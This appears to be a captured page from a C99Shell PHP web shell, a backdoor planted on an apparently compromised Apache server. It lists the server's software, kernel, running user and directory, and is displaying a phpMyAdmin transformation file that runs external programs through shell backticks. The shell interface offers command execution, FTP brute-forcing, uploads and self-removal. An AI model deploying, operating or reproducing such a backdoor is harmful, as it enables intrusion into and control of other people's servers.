!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/home/makras/public_html/db_admin/libraries/transformations/   drwxr-xr-x
Free 318.36 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     text_plain__external.inc.php (1.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* $Id: text_plain__external.inc.php,v 2.1 2003/11/26 22:52:24 rabus Exp $ */
// vim: expandtab sw=4 ts=4 sts=4:

function PMA_EscapeShellArg($string$prepend '\'') {
    return 
$prepend ereg_replace("'""'\\''"$string) . $prepend;
}

function 
PMA_transformation_text_plain__external_nowrap($options = array()) {
    if (!isset(
$options[3]) || $options[3] == '') {
        
$nowrap true;
    } elseif (
$options[3] == '1' || $options[3] == 1) {
        
$nowrap true;
    } else {
        
$nowrap false;
    }

    return 
$nowrap;
}

function 
PMA_transformation_text_plain__external($buffer$options = array(), $meta '') {
    
// possibly use a global transform and feed it with special options:
    // include('./libraries/transformations/global.inc.php');

    // further operations on $buffer using the $options[] array.

    
$allowed_programs = array();
    
$allowed_programs[0] = '/usr/local/bin/tidy';
    
$allowed_programs[1] = '/usr/local/bin/validate';

    if (!isset(
$options[0]) ||  $options[0] == '') {
        
$program $allowed_programs[0];
    } else {
        
$program $allowed_programs[$options[0]];
    }

    if (!isset(
$options[1]) || $options[1] == '') {
        
$poptions '-f /dev/null -i -wrap -q';
    } else {
        
$poptions $options[1];
    }

    if (!isset(
$options[2]) || $options[2] == '') {
        
$options[2] = 1;
    }

    if (!isset(
$options[3]) || $options[3] == '') {
        
$options[3] = 1;
    }

    
$cmdline 'echo ' PMA_EscapeShellArg($buffer) . ' | ' $program ' ' PMA_EscapeShellArg($poptions'');
    
$newstring = `$cmdline`;

    if (
$options[2] == || $options[2] == '2') {
        
$retstring htmlspecialchars($newstring);
    } else {
        
$retstring $newstring;
    }

    return 
$retstring;
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0049 ]--